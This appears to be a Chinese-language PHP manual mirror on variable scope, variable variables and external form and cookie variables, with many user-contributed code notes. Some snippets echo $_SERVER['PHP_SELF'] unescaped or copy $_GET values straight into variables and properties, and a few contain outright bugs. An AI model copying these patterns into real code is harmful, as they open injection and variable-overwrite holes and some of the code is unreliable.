$base2 = new Base();
$derived1 = new Derived();
$derived2 = new Derived();

$base1->test(3);
$base2->test(4);
$derived1->test(5);
$derived2->test(6);

var_dump([ $base1->test(), $base2->test(), $derived1->test(), $derived2->test() ]);

# => array(4) { [0]=> int(7) [1]=> int(7) [2]=> int(11) [3]=> int(11) }

# $base1 and $base2 share one copy of static variable $v
# derived1 and $derived2 share another copy of static variable $v
gried at NOSPAM dot nsys dot by 16-Jan-2016 09:12
In fact all variables represent pointers that hold address of memory area with data that was assigned to this variable. When you assign some variable value by reference you in fact write address of source variable to recepient variable. Same happens when you declare some variable as global in function, it receives same address as global variable outside of function. If you consider forementioned explanation it's obvious that mixing usage of same variable declared with keyword global and via superglobal array at the same time is very bad idea. In some cases they can point to different memory areas, giving you headache. Consider code below:

<?php

error_reporting(E_ALL);

$GLOB = 0;

function test_references() {
    global $GLOB; // get reference to global variable using keyword global, at this point local variable $GLOB points to same address as global variable $GLOB
    $test = 1; // declare some local var
    $GLOBALS['GLOB'] = &$test; // make global variable reference to this local variable using superglobal array, at this point global variable $GLOB points to new memory address, same as local variable $test

    $GLOB = 2; // set new value to global variable via earlier set local representation, write to old address

    echo "Value of global variable (via local representation set by keyword global): $GLOB <hr>";
    // check global variable via local representation => 2 (OK, got value that was just written to it, cause old address was used to get value)

    echo "Value of global variable (via superglobal array GLOBALS): $GLOBALS[GLOB] <hr>";
    // check global variable using superglobal array => 1 (got value of local variable $test, new address was used)

    echo "Value ol local variable \$test: $test <hr>";
    // check local variable that was linked with global using superglobal array => 1 (its value was not affected)

    global $GLOB; // update reference to global variable using keyword global, at this point we update address that held in local variable $GLOB and it gets same address as local variable $test
    echo "Value of global variable (via updated local representation set by keyword global): $GLOB <hr>";
    // check global variable via local representation => 1 (also value of local variable $test, new address was used)
}

test_references();
echo "Value of global variable outside of function: $GLOB <hr>";
// check global variable outside function => 1 (equal to value of local variable $test from function, global variable also points to new address)
?>
dodothedreamer at gmail dot com 25-Sep-2011 11:56
Note that unlike Java and C++, variables declared inside blocks such as loops or if's, will also be recognized and accessible outside of the block, so:
<?php
for($j=0; $j<3; $j++)
{
     if($j == 1)
        $a = 4;
}
echo $a;
?>

Would print 4.
andrew at planetubh dot com 03-Feb-2009 12:16
Took me longer than I expected to figure this out, and thought others might find it useful.

I created a function (safeinclude), which I use to include files; it does processing before the file is actually included (determine full path, check it exists, etc).

Problem: Because the include was occurring inside the function, all of the variables inside the included file were inheriting the variable scope of the function; since the included files may or may not require global variables that are declared else where, it creates a problem.

Most places (including here) seem to address this issue by something such as:
<?php
//declare this before include
global $myVar;
//or declare this inside the include file
$nowglobal = $GLOBALS['myVar'];
?>

But, to make this work in this situation (where a standard PHP file is included within a function, being called from another PHP script; where it is important to have access to whatever global variables there may be)... it is not practical to employ the above method for EVERY variable in every PHP file being included by 'safeinclude', nor is it practical to staticly name every possible variable in the "global $this" approach. (namely because the code is modulized, and 'safeinclude' is meant to be generic)

My solution: Thus, to make all my global variables available to the files included with my safeinclude function, I had to add the following code to my safeinclude function (before variables are used or file is included)

<?php
foreach ($GLOBALS as $key => $val) { global $$key; }
?>

Thus, complete code looks something like the following (very basic model):

<?php
function safeinclude($filename)
{
    //This line takes all the global variables, and sets their scope within the function:
    foreach ($GLOBALS as $key => $val) { global $$key; }
    /* Pre-Processing here: validate filename input, determine full path
        of file, check that file exists, etc. This is obviously not
        necessary, but steps I found useful. */
    if ($exists==true) { include("$file"); }
    return $exists;
}
?>

In the above, 'exists' & 'file' are determined in the pre-processing. File is the full server path to the file, and exists is set to true if the file exists. This basic model can be expanded of course.  In my own, I added additional optional parameters so that I can call safeinclude to see if a file exists without actually including it (to take advantage of my path/etc preprocessing, verses just calling the file exists function).

Pretty simple approach that I could not find anywhere online; only other approach I could find was using PHP's eval().
larax at o2 dot pl 22-Mar-2006 03:38
About more complex situation using global variables..

Let's say we have two files:
a.php
<?php
    function a() {
        include("b.php");
    }
    a();
?>

b.php
<?php
    $b = "something";
    function b() {
        global $b;
        $b = "something new";
    }
    b();
    echo $b;
?>

You could expect that this script will return "something new" but no, it will return "something". To make it working properly, you must add global keyword in $b definition, in above example it will be:

global $b;
$b = "something";
warhog at warhog dot net 13-Dec-2005 12:22
Some interesting behavior (tested with PHP5), using the static-scope-keyword inside of class-methods.

<?php

class sample_class
{
  public function func_having_static_var($x = NULL)
  {
    static $var = 0;
    if ($x === NULL)
    { return $var; }
    $var = $x;
  }
}

$a = new sample_class();
$b = new sample_class();

echo $a->func_having_static_var()."\n";
echo $b->func_having_static_var()."\n";
// this will output (as expected):
//  0
//  0

$a->func_having_static_var(3);

echo $a->func_having_static_var()."\n";
echo $b->func_having_static_var()."\n";
// this will output:
//  3
//  3
// maybe you expected:
//  3
//  0

?>

One could expect "3 0" to be outputted, as you might think that $a->func_having_static_var(3); only alters the value of the static $var of the function "in" $a - but as the name says, these are class-methods. Having an object is just a collection of properties, the functions remain at the class. So if you declare a variable as static inside a function, it's static for the whole class and all of its instances, not for each object.

Maybe it's senseless to post that.. cause if you want to have the behaviour that I expected, you can simply use a variable of the object itself:

<?php
class sample_class
{ protected $var = 0;
  function func($x = NULL)
  { $this->var = $x; }
} ?>

I believe that all normal-thinking people would never even try to make this work with the static-keyword, for those who try (like me), this note maybe helpfull.
jameslee at cs dot nmt dot edu 16-Jun-2005 02:33
It should be noted that a static variable inside a method is static across all instances of that class, i.e., all objects of that class share the same static variable.  For example the code:

<?php
class test {
    function z() {
        static $n = 0;
        $n++;
        return $n;
    }
}

$a =& new test();
$b =& new test();
print $a->z();  // prints 1, as it should
print $b->z();  // prints 2 because $a and $b have the same $n
?>

somewhat unexpectedly prints:
1
2
Michael Bailey (jinxidoru at byu dot net) 04-Jun-2004 11:43
Static variables do not hold through inheritance.  Let class A have a function Z with a static variable.  Let class B extend class A in which function Z is not overwritten.  Two static variables will be created, one for class A and one for class B.

Look at this example:

<?php
class A {
    function Z() {
        static $count = 0;
        printf("%s: %d\n", get_class($this), ++$count);
    }
}

class B extends A {}

$a = new A();
$b = new B();
$a->Z();
$a->Z();
$b->Z();
$a->Z();
?>

This code returns:

A: 1
A: 2
B: 1
A: 3

As you can see, class A and B are using different static variables even though the same function was being used.


可变变量

有时候使用可变变量名是很方便的。就是说，一个变量的变量名可以动态的设置和使用。一个普通的变量通过声明来设置，例如：

<?php
$a = 'hello';
?>

一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。在上面的例子中 hello 使用了两个美元符号（$）以后，就可以作为一个可变变量的变量了。例如：

<?php
$$a = 'world';
?>

这时，两个变量都被定义了：$a 的内容是"hello"并且 $hello 的内容是"world"。因此，以下语句：

<?php
echo "$a {$$a}";
?>

与以下语句输出完全相同的结果：

<?php
echo "$a $hello";
?>

它们都会输出：hello world。

要将可变变量用于数组，必须解决一个模棱两可的问题。这就是当写下 $$a[1] 时，解析器需要知道是想要 $a[1] 作为一个变量呢，还是想要 $$a 作为一个变量并取出该变量中索引为 [1] 的值。解决此问题的语法是，对第一种情况用 ${$a[1]}，对第二种情况用 ${$a}[1]。

类的属性也可以通过可变属性名来访问。可变属性名将在该调用所处的范围内被解析。例如，对于 $foo->$bar 表达式，则会在本地范围来解析 $bar 并且其值将被用于 $foo 的属性名。对于 $bar 是数组单元时也是一样。

也可使用花括号来给属性名清晰定界。最有用是在属性位于数组中，或者属性名包含有多个部分或者属性名包含有非法字符时（例如来自 json_decode() 或 SimpleXML）。

Example #1 可变属性示例

<?php
class foo {
var $bar = 'I am bar.';
var $arr = array('I am A.', 'I am B.', 'I am C.');
var $r = 'I am r.';
}

$foo = new foo();
$bar = 'bar';
$baz = array('foo', 'bar', 'baz', 'quux');
echo $foo->$bar . "\n";
echo $foo->{$baz[1]} . "\n";

$start = 'b';
$end = 'ar';
echo $foo->{$start . $end} . "\n";

$arr = 'arr';
echo $foo->{$arr[1]} . "\n";

?>

以上示例会输出：

I am bar.
I am bar.
I am bar.
I am r.

Warning

注意，在 PHP 的函数和类的方法中，超全局变量不能用作可变变量。$this 变量也是一个特殊变量，不能被动态引用。

User Contributed Notes

alexis at devleeschauwer dot fr 28-Sep-2023 08:07
Be careful, this may seem interesting but this concept makes the code difficult to read and understand, so it can be a source of bugs.
This is a bad design pattern.
You should not use it.
greaties at ghvernuft dot nl 22-Apr-2023 11:59
Superglobals can be referenced variably within a function, by calling them global:
<?php
function get_var($varname){
  global $$varname;
  var_dump( $$varname);
}

get_var('_POST');
?>

(Note originally posted at https://www.php.net/manual/en/language.variables.superglobals.php#128418 but also appropriate here)
sebastopolys at gmail dot com 03-Sep-2022 03:54
In addition, it is possible to use associative array to secure name of variables available to be used within a function (or class / not tested).

This way the variable variable feature is useful to validate variables; define, output and manage only within the function that receives as parameter
an associative array :
    array('index'=>'value','index'=>'value');
index = reference to variable to be used within function
value = name of the variable to be used within function
<?php

$vars = ['id'=>'user_id','email'=>'user_email'];

validateVarsFunction($vars);

function validateVarsFunction($vars){

    //$vars['id']=34; <- does not work
     // define allowed variables
     $user_id=21;
     $user_email='email@mail.com';

     echo $vars['id']; // prints name of variable: user_id
     echo ${$vars['id']}; // prints 21
     echo 'Email: '.${$vars['email']};  // print email@mail.com

     // we don't have the name of the variables before declaring them inside the function
}
?>
Anonymous 24-Aug-2022 02:54
I've found this could be useful in some way for using on multidimensional arrays:

       $f="1";$g="2";$h="3";
        $m="4";$n="5";$b="6";
        $q="7";$w="8";$e="9";
        $s="10";$d="11";$a="12";
        $l="13";$o="14";$p="15";
        $x="16";$c="17";$v="18";

        $one=["f","g","h"];
        $two=["m","n","b"];
        $three=["q","w","e"];
        $four=["s","d","a"];
        $five=["l","o","p"];
        $six=["x","c","v"];

        $first = array("one", "two", "three") ;
        $second = array("four", "five", "six") ;

        $a = ["first","second"] ;

        print_r(${${${$a[1]}[1]}[1]});    // 16
derek at deperu dot com 23-Apr-2021 07:14
How to use variable variables with for and foreach():

<?php
$obj_1 = array("one" => "One", "two" => "Two", "three" => "Three");
$obj_2 = array("one" => "Four", "two" => "Five", "three" => "Six");
$obj_3 = array("one" => "Seven", "two" => "Eight", "three" => "Nine");

for ($i=1; $i < 4; $i++) {

    foreach (${"obj_".$i} as $key => $value) {

        echo $key . ': ' . $value."\n";

    }
}
?>

Result:

one: One
two: Two
three: Three
one: Four
two: Five
three: Six
one: Seven
two: Eight
three: Nine
Alex 27-May-2020 10:27
If you want to use Variable Variables with $_POST,
you may follow this example:

<?php
// you created a form with variable names:
$_POST['content_1'] = "blabla";
$_POST['content_2'] = "blublu";
// ...
$_POST['content_99'] = "bleble";

// Then, you can use a loop:

for ($i=1; $i<99;$i++)
{
echo $_POST["content_$i"];
}

?>
marcin dot dzdza at gmail dot com 10-Feb-2019 11:59
The feature of variable variable names is welcome, but it should be avoided when possible. Modern IDE software fails to interpret such variables correctly, regular find/replace also fails. It's a kind of magic :) This may really make it hard to refactor code. Imagine you want to rename variable $username to $userName and try to find all occurrences of $username in code by checking "$userName". You may easily omit:
$a = 'username';
echo $$a;
houssemzitoun91 at gmail dot com 02-Jun-2018 05:54
Even outside a function or a class method  variable variables cannot be used with PHP's Superglobal arrays. See the example bellow:
<?php

$a = '$GLOBALS["a"]';

function foo()
{
        global $a;
        echo $$a;
}

echo $GLOBALS["a"], PHP_EOL; // $GLOBALS["a"]

echo ${$a}; // PHP Notice:  Undefined variable: $GLOBALS["a"]
wuhanqinb at gmail dot com 21-Mar-2018 07:42
For example #1，line：
echo $foo->$baz[1] . "\n";
It should be:
echo $foo->{$baz[1]} . "\n";
to run correctly.
herebepost (ta at ta) [iwonderr] gmail dot com 11-Jul-2016 07:32
While not relevant in everyday PHP programming, it seems to be possible to insert whitespace and comments between the dollar signs of a variable variable.  All three comment styles work. This information becomes relevant when writing a parser, tokenizer or something else that operates on PHP syntax.

<?php

    $foo = 'bar';
    $

    /*
        I am complete legal and will compile without notices or error as a variable variable.
    */
        $foo = 'magic';

    echo $bar; // Outputs magic.

?>

Behaviour tested with PHP Version 5.6.19
jefrey.sobreira [at] gmail [dot] com 01-Feb-2015 05:34
If you want to use a variable value in part of the name of a variable variable (not the whole name itself), you can do like the following:

<?php
$price_for_monday = 10;
$price_for_tuesday = 20;
$price_for_wednesday = 30;

$today = 'tuesday';

$price_for_today = ${ 'price_for_' . $today};
echo $price_for_today; // will return 20
?>
Aycan Yat 19-Oct-2013 06:15
Sometimes you might wish to modify value of an existing variable by its name. This is easily accomplishable with a combination of using "passing by reference" and "variable variables".

$first_var = 1;
$second_var = 2;
$third_var = 3;

$which_one = array_rand('first', 'second', 'third');
//Let's consider the result is "second".

$modifier = $$which_one;  //Now $modifier has value 2.
$modifier++; //Now $modifier's value is 3.
echo $second_var; //Prints out 2

//Consider we wish to modify the value of $second_var
$modifier = &$$which_one;  //Simply passing by reference
$modifier++; //Now value of $second_var is 3 too.
echo $second_var; //Prints out 3

It's that simple!
coviex at gmail dot com 08-Sep-2013 02:31
In 5.4 "Dynamic class references require the fully qualified class name (with the namespace in it) because at runtime there is no information about the current namespace." is still true.
Neither simple class name nor containing subnamespace works.
Initial source: https://bugs.php.net/bug.php?id=45197
nils dot rocine at gmail dot com 28-Jun-2012 01:58
Variable Class Instantiation with Namespace Gotcha:

Say you have a class you'd like to instantiate via a variable (with a string value of the Class name)

<?php

class Foo
{
    public function __construct()
    {
        echo "I'm a real class!" . PHP_EOL;
    }
}

$class = 'Foo';

$instance = new $class;

?>

The above works fine UNLESS you are in a (defined) namespace. Then you must provide the full namespaced identifier of the class as shown below. This is the case EVEN THOUGH the instancing happens in the same namespace. Instancing a class normally (not through a variable) does not require the namespace. This seems to establish the pattern that if you are using an namespace and you have a class name in a string, you must provide the namespace with the class for the PHP engine to correctly resolve (other cases: class_exists(), interface_exists(), etc.)

<?php

namespace MyNamespace;

class Foo
{
    public function __construct()
    {
        echo "I'm a real class!" . PHP_EOL;
    }
}

$class = 'MyNamespace\Foo';

$instance = new $class;

?>
Omar Juvera 07-Aug-2011 01:40
The example given in the php manual is confusing!
I think this example it's easier to understand:

<?php

//Let's create a new variable: $new_variable_1
$var_name = "new_variable_1"; //$var_name will store the NAME of the new variable

//Let's assign a value to that [$new_variable_1] variable:
$$var_name  = "value 1"; //Value of $new_variable_1 = "value 1"

echo "VARIABLE: " . $var_name;
echo "<br />";
echo "VALUE: " . $$var_name;
?>

The OUTPUT is:
VARIABLE: new_variable_1
VALUE: value 1

You can also create new variables in a loop:
<?php

for( $i = 1; $i < 6; $i++ )
{
$var_name[] = "new_variable_" . $i; //$var_name[] will hold the new variable NAME
}

${$var_name[0]}  = "value 1"; //Value of $new_variable_1 = "value 1"
${$var_name[1]}  = "value 2"; //Value of $new_variable_2 = "value 2"
${$var_name[2]}  = "value 3"; //Value of $new_variable_3 = "value 3"
${$var_name[3]}  = "value 4"; //Value of $new_variable_4 = "value 4"
${$var_name[4]}  = "value 5"; //Value of $new_variable_5 = "value 5"

echo "VARIABLE: " . $var_name[0] . "\n";
echo "<br />";
echo "VALUE: " . ${$var_name[0]};
?>

The OUTPUT is:
VARIABLE: new_variable_1
VALUE: value 1
mason 28-Jun-2010 12:39
PHP actually supports invoking a new instance of a class using a variable class name since at least version 5.2

<?php
class Foo {
   public function hello() {
      echo 'Hello world!';
   }
}
$my_foo = 'Foo';
$a = new $my_foo();
$a->hello(); //prints 'Hello world!'
?>

Additionally, you can access static methods and properties using variable class names, but only since PHP 5.3

<?php
class Foo {
   public static function hello() {
      echo 'Hello world!';
   }
}
$my_foo = 'Foo';
$my_foo::hello(); //prints 'Hello world!'
?>
userb at exampleb dot org 08-Apr-2010 02:39
<?php

  //You can even add more Dollar Signs

  $Bar = "a";
  $Foo = "Bar";
  $World = "Foo";
  $Hello = "World";
  $a = "Hello";

  $a; //Returns Hello
  $$a; //Returns World
  $$$a; //Returns Foo
  $$$$a; //Returns Bar
  $$$$$a; //Returns a

  $$$$$$a; //Returns Hello
  $$$$$$$a; //Returns World

  //... and so on ...//

?>
dlorre at yahoo dot com 16-Feb-2010 12:04
Adding an element directly to an array using variables:

<?php
$tab = array("one", "two", "three") ;
$a = "tab" ;
$$a[] ="four" ; // <==== fatal error
print_r($tab) ;
?>
will issue this error:

Fatal error: Cannot use [] for reading

This is not a bug, you need to use the {} syntax to remove the ambiguity.

<?php
$tab = array("one", "two", "three") ;
$a = "tab" ;
${$a}[] =  "four" ; // <==== this is the correct way to do it
print_r($tab) ;
?>
php at ianco dot co dot uk 28-May-2009 02:47
<?php
// $variable-name = 'parse error';
// You can't do that but you can do this:
$a = 'variable-name';
$$a = 'hello';
echo $variable-name . ' ' . $$a; // Gives     0 hello
?>

For a particular reason I had been using some variable names with hyphens for ages. There was no problem because they were only referenced via a variable variable. I only saw a parse error much later, when I tried to reference one directly. It took a while to realise that illegal hyphens were the cause because the parse error only occurs on assignment.
nullhility at gmail dot com 06-Jun-2008 12:43
It's also valuable to note the following:

<?php
${date("M")} = "Worked";
echo ${date("M")};
?>

This is perfectly legal, anything inside the braces is executed first, the return value then becomes the variable name. Echoing the same variable variable using the function that created it results in the same return and therefore the same variable name is used in the echo statement. Have fun ;).
Nathan Hammond 11-Feb-2008 03:41
These are the scenarios that you may run into trying to reference superglobals dynamically. Whether or not it works appears to be dependent upon the current scope.

<?php

$_POST['asdf'] = 'something';

function test() {
    // NULL -- not what initially expected
    $string = '_POST';
    var_dump(${$string});

    // Works as expected
    var_dump(${'_POST'});

    // Works as expected
    global ${$string};
    var_dump(${$string});

}

// Works as expected
$string = '_POST';
var_dump(${$string});

test();

?>
correojulian33-php at yahoo dot es 28-Nov-2007 06:59
This example may help to overcome the limitation on $this.

Populate automatically fields of an object form a $_GET variable.

<?php
class pp{
   var $prop1=1,$prop2=2,$prop3=array(3,4,5);

   function fun1(){
      $vars=get_class_vars('pp');
      while(list($var,$value)=each($vars)){
               $ref=& $this->$var;
               $ref=$_GET[$var];

      } // while
      var_dump($this);
   }
}

$_GET['prop1']="uno";
$_GET['prop2']="dos";
$_GET['prop3']=array('tres','cuatro','cinco','seis');

$p=new pp();
$p->fun1();
?>

output is ...

object(pp)#1 (3) {
  ["prop1"]=>
  &string(3) "uno"
  ["prop2"]=>
  &string(3) "dos"
  ["prop3"]=>
  &array(4) {
    [0]=>
    string(4) "tres"
    [1]=>
    string(6) "cuatro"
    [2]=>
    string(5) "cinco"
    [3]=>
    string(4) "seis"
  }
}
the_tevildo at yahoo dot com 13-Oct-2007 06:22
This is a handy function I put together to allow variable variables to be used with arrays.

To use the function, when you want to reference an array, send it in the form 'array:key' rather than 'array[key]'.

For example:

<?php

function indirect ($var, $value)     // Replaces $$var = $value
{
   $var_data = $explode($var, ':');
   if (isset($var_data[1]))
   {
      ${$var_data[0]}[$var_data[1]] = $value;
   }
   else
   {
      ${$var_data[0]} = $value;
   }
}

$temp_array = array_fill(0, 4, 1);
$temp_var = 1;
$int_var_list = array('temp_array[2]', 'temp_var');

while (list($key, $var_name) = each($int_var_list))
{
   //  Doesn't work - creates scalar variable called "$temp_array[2]"
   $$var_name = 0;
}

var_dump($temp_array);
echo '<br>';
var_dump($temp_var);
echo '<br>';

//  Does work!

$int_var_list = array('temp_array:2', 'temp_var');

while (list($key, $var_name) = each($int_var_list))
{
   indirect($var_name, 2);
}

var_dump($temp_array);
echo '<br>';
var_dump($temp_var);
echo '<br>';
?>
Sinured 11-Jun-2007 06:07
One interesting thing I found out: You can concatenate variables and use spaces. Concatenating constants and function calls are also possible.

<?php
define('ONE', 1);
function one() {
    return 1;
}
$one = 1;

${"foo$one"} = 'foo';
echo $foo1; // foo
${'foo' . ONE} = 'bar';
echo $foo1; // bar
${'foo' . one()} = 'baz';
echo $foo1; // baz
?>

This syntax doesn't work for functions:

<?php
$foo = 'info';
{"php$foo"}(); // Parse error

// You'll have to do:
$func = "php$foo";
$func();
?>

Note: Don't leave out the quotes on strings inside the curly braces, PHP won't handle that graciously.
Anonymous 13-Mar-2005 07:25
It may be worth specifically noting, if variable names follow some kind of "template," they can be referenced like this:

<?php
// Given these variables ...
$nameTypes    = array("first", "last", "company");
$name_first   = "John";
$name_last    = "Doe";
$name_company = "PHP.net";

// Then this loop is ...
foreach($nameTypes as $type)
  print ${"name_$type"} . "\n";

// ... equivalent to this print statement.
print "$name_first\n$name_last\n$name_company\n";
?>

This is apparent from the notes others have left, but is not explicitly stated.
sir_hmba AT yahoo DOT com 06-May-2003 03:08
This is somewhat redundant, but I didn't see an example that combined dynamic reference of *both* object and attribute names.

Here's the code:

<?php
class foo
{
    var $bar;
    var $baz;

    function foo()
    {
        $this->bar = 3;
        $this->baz = 6;
    }
}

$f = new foo();
echo "f->bar=$f->bar  f->baz=$f->baz\n";

$obj  = 'f';
$attr = 'bar';
$val  = $$obj->{$attr};

echo "obj=$obj  attr=$attr  val=$val\n";
?>

And here's the output:

f->bar=3  f->baz=6
$obj=f  $attr=bar  $val=3
antony dot booth at nodomain dot here 19-Sep-2002 07:17
You may think of using variable variables to dynamically generate variables from an array, by doing something similar to: -

<?php
 foreach ($array as $key => $value)
 {
  $$key= $value;
 }

?>

This however would be reinventing the wheel when you can simply use:

<?php
extract( $array, EXTR_OVERWRITE);
?>

Note that this will overwrite the contents of variables that already exist.

Extract has useful functionality to prevent this, or you may group the variables by using prefixes too, so you could use: -

EXTR_PREFIX_ALL

<?php
$array =array("one" => "First Value",
"two" => "2nd Value",
"three" => "8"
                );

extract( $array, EXTR_PREFIX_ALL, "my_prefix_");

?>

This would create variables: -
$my_prefix_one
$my_prefix_two
$my_prefix_three

containing: -
"First Value", "2nd Value" and "8" respectively
jupp-mueller at t-online dot de 08-Sep-2002 06:29
I found another undocumented/cool feature: variable member variables in classes. It's pretty easy:

<?php
class foo {
  function bar() {
    $bar1 = "var1";
    $bar2 = "var2";
    $this->{$bar1}= "this ";
    $this->{$bar2} = "works";
  }
}

$test = new foo;
$test->bar();
echo $test->var1 . $test->var2;
?>
J. Dyer 12-Aug-2002 01:05
Another use for this feature in PHP is dynamic parsing..

Due to the rather odd structure of an input string I am currently parsing, I must have a reference for each particular object instantiation in the order which they were created.  In addition, because of the syntax of the input string, elements of the previous object creation are required for the current one.

Normally, you won't need something this convolute.  In this example, I needed to load an array with dynamically named objects - (yes, this has some basic Object Oriented programming, please bare with me..)

<?php
   include("obj.class");

   // this is only a skeletal example, of course.
   $object_array = array();

   // assume the $input array has tokens for parsing.
   foreach ($input_array as $key=>$value){
      // test to ensure the $value is what we need.
         $obj = "obj".$key;
         $$obj = new Obj($value, $other_var);
         Array_Push($object_array, $$obj);
      // etc..
   }

?>

Now, we can use basic array manipulation to get these objects out in the particular order we need, and the objects no longer are dependant on the previous ones.

I haven't fully tested the implimentation of the objects.  The  scope of a variable-variable's object attributes (get all that?) is a little tough to crack.  Regardless, this is another example of the manner in which the var-vars can be used with precision where tedious, extra hard-coding is the only alternative.

Then, we can easily pull everything back out again using a basic array function: foreach.

<?php
//...
   foreach($array as $key=>$object){

      echo $key." -- ".$object->print_fcn()." <br/>\n";

   } // end foreach

?>

Through this, we can pull a dynamically named object out of the array it was stored in without actually knowing its name.
04-Jun-2002 11:34
The 'dollar dereferencing' (to coin a phrase) doesn't seem to be limited to two layers, even without curly braces.  Observe:

<?php
$one = "two";
$two = "three";
$three = "four";
$four = "five";
echo $$$$one; //prints 'five'.
?>

This works for L-values as well.  So the below works the same way:

<?php
$one = "two";
$$one = "three";
$$$one = "four";
$$$$one = "five";
echo $$$$one; //still prints 'five'.
?>

NOTE: Tested on PHP 4.2.1, Apache 2.0.36, Red Hat 7.2
chrisNOSPAM at kampmeier dot net 08-Aug-2001 10:40
Note that normal variable variables will not be parsed in double-quoted strings. You'll have to use the braces to make it work, to resolve the ambiguity. For example:

<?php
$varname = "foo";
$foo = "bar";

print $$varname;  // Prints "bar"
print "$$varname";  // Prints "$foo"
print "${$varname}"; // Prints "bar"
?>
mstearne at entermix dot com 10-May-2001 06:09
Variable variables techniques do not work when one of the "variables" is a constant.  The example below illustrates this.  This is probably the desired behavior for constants, but was confusing for me when I was trying to figure it out.  The alternative I used was to add the variables I needed to the $GLOBALS array instead of defining them as constants.

<?php

define("DB_X_NAME","database1");
define("DB_Y_NAME","database2");
$DB_Z_NAME="database3";

function connectTo($databaseName){
global $DB_Z_NAME;

$fullDatabaseName="DB_".$databaseName."_NAME";
return ${$fullDatabaseName};

}

print "DB_X_NAME is ".connectTo("X")."<br>";
print "DB_Y_NAME is ".connectTo("Y")."<br>";
print "DB_Z_NAME is ".connectTo("Z")."<br>";

?>
[Editor Note: For variable constants, use constant() --Philip]
dnl at au dot ru 08-Dec-2000 11:01
By the way...
Variable variables can be used as pointers to objects' properties:

<?php
class someclass {
  var $a = "variable a";
  var $b = "another variable: b";
  }

$c = new someclass;
$d = "b";
echo $c->{$d};
?>

outputs: another variable: b
mccoyj at mail dot utexas dot edu 03-Nov-2000 03:36
There is no need for the braces for variable object names...they are only needed by an ambiguity arises concerning which part of the reference is variable...usually with arrays.

<?php
class Schlemiel {
var $aVar = "foo";
}

$schlemiel = new Schlemiel;
$a = "schlemiel";
echo $$a->aVar;
?>

This code outputs "foo" using PHP 4.0.3.

Hope this helps...
- Jordan


来自 PHP 之外的变量

HTML 表单（GET 和 POST）

当一个表单提交给 PHP 脚本时，表单中的信息会自动在脚本中可用。有几个方法访问此信息，例如：

Example #1 一个简单的 HTML 表单

<form action="foo.php" method="POST">
    Name:  <input type="text" name="username"><br />
    Email: <input type="text" name="email"><br />
    <input type="submit" name="submit" value="Submit me!" />
</form>

只有两种方法可以访问 HTML 表单中的数据。 以下列出了当前有效的方法：

Example #2 从一个简单的 POST HTML 表单访问数据

<?php
echo $_POST['username'];
echo $_REQUEST['username'];
?>

使用 GET 表单也类似，只不过要用适当的 GET 预定义变量。GET 也适用于 QUERY_STRING（URL 中在"?"之后的信息）。因此，举例说，http://www.example.com/test.php?id=3 包含有可用 $_GET['id'] 来访问的 GET 数据。参见 $_REQUEST。

Note:

变量名中的点和空格被转换成下划线。例如 <input name="a.b" /> 变成了 $_REQUEST["a_b"]。

PHP 也懂得表单变量上下文中的数组（参见相关常见问题）。例如可以将相关的变量编成组，或者用此特性从多选输入框中取得值。例如，将一个表单 POST 给自己并在提交时显示数据：

Example #3 更复杂的表单变量

<?php
if (isset($_POST['action']) && $_POST['action'] == 'submitted') {
echo '<pre>';

print_r($_POST);
echo '<a href="'. $_SERVER['PHP_SELF'] .'">Please try again</a>';

echo '</pre>';
} else {
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
Name: <input type="text" name="personal[name]"><br />
Email: <input type="text" name="personal[email]"><br />
Beer: <br>
<select multiple name="beer[]">
<option value="warthog">Warthog</option>
<option value="guinness">Guinness</option>
<option value="stuttgarter">Stuttgarter Schwabenbr</option>
</select><br />
<input type="hidden" name="action" value="submitted" />
<input type="submit" name="submit" value="submit me!" />
</form>
<?php
}
?>

Note: If an external variable name begins with a valid array syntax, trailing characters are silently ignored. For example, <input name="foo[bar]baz"> becomes $_REQUEST['foo']['bar'].

IMAGE SUBMIT 变量名

当提交表单时，可以用一幅图像代替标准的提交按钮，用类似这样的标记：

<input type="image" src="image.gif" name="sub" />

当用户点击到图像中的某处时，相应的表单会被传送到服务器，并加上两个变量 sub_x 和 sub_y。它们包含了用户点击图像的坐标。有经验的用户可能会注意到被浏览器发送的实际变量名包含的是一个点而不是下划线（即 sub.x 和 sub.y），但 PHP 自动将点转换成了下划线。

HTTP Cookies

PHP 透明地支持 » RFC 6265定义中的 HTTP cookies。Cookies 是一种在远端浏览器端存储数据并能追踪或识别再次访问的用户的机制。可以用 setcookie() 函数设定 cookies。Cookies 是 HTTP 信息头中的一部分，因此 SetCookie 函数必须在向浏览器发送任何输出之前调用。对于 header() 函数也有同样的限制。Cookie 数据会在相应的 cookie 数据数组中可用，例如 $_COOKIE 和 $_REQUEST。更多细节和例子见 setcookie() 手册页面。

Note: As of PHP 7.2.34, 7.3.23 and 7.4.11, respectively, the names of incoming cookies are no longer url-decoded for security reasons.

如果要将多个值赋给一个 cookie 变量，必须将其赋成数组。例如：

<?php
setcookie("MyCookie[foo]", 'Testing 1', time()+3600);
setcookie("MyCookie[bar]", 'Testing 2', time()+3600);
?>

这将会建立两个单独的 cookie，尽管 MyCookie 在脚本中是一个单一的数组。如果想在仅仅一个 cookie 中设定多个值，考虑先在值上使用 serialize() 或 explode()。

注意在浏览器中一个 cookie 会替换掉上一个同名的 cookie，除非路径或者域不同。因此对于购物车程序可以保留一个计数器并一起传递，例如：

Example #4 一个 setcookie() 的示例

<?php
if (isset($_COOKIE['count'])) {
$count = $_COOKIE['count'] + 1;
} else {
$count = 1;
}
setcookie('count', $count, time()+3600);
setcookie("Cart[$count]", $item, time()+3600);
?>

变量名中的点

通常，PHP 不会改变传递给脚本中的变量名。然而应该注意到点（句号）不是 PHP 变量名中的合法字符。至于原因，看看：

<?php
$varname.ext; /* 非法变量名 */
?>
这时，解析器看到是一个名为 $varname 的变量，后面跟着一个字符串连接运算符，后面跟着一个裸字符串（即没有加引号的字符串，且不匹配任何已知的健名或保留字）'ext'。很明显这不是想要的结果。

出于此原因，要注意 PHP 将会自动将变量名中的点替换成下划线。

确定变量类型

因为 PHP 会判断变量类型并在需要时进行转换（通常情况下），因此在某一时刻给定的变量是何种类型并不明显。PHP 包括几个函数可以判断变量的类型，例如：gettype()，is_array()，is_float()，is_int()，is_object() 和 is_string()。参见类型一章。

HTTP being a text protocol, most, if not all, content that comes in Superglobal arrays, like $_POST and $_GET will remain as strings. PHP will not try to convert values to a specific type. In the example below, $_GET["var1"] will contain the string "null" and $_GET["var2"], the string "123".

/index.php?var1=null&var2=123

更新日志

版本 | 说明
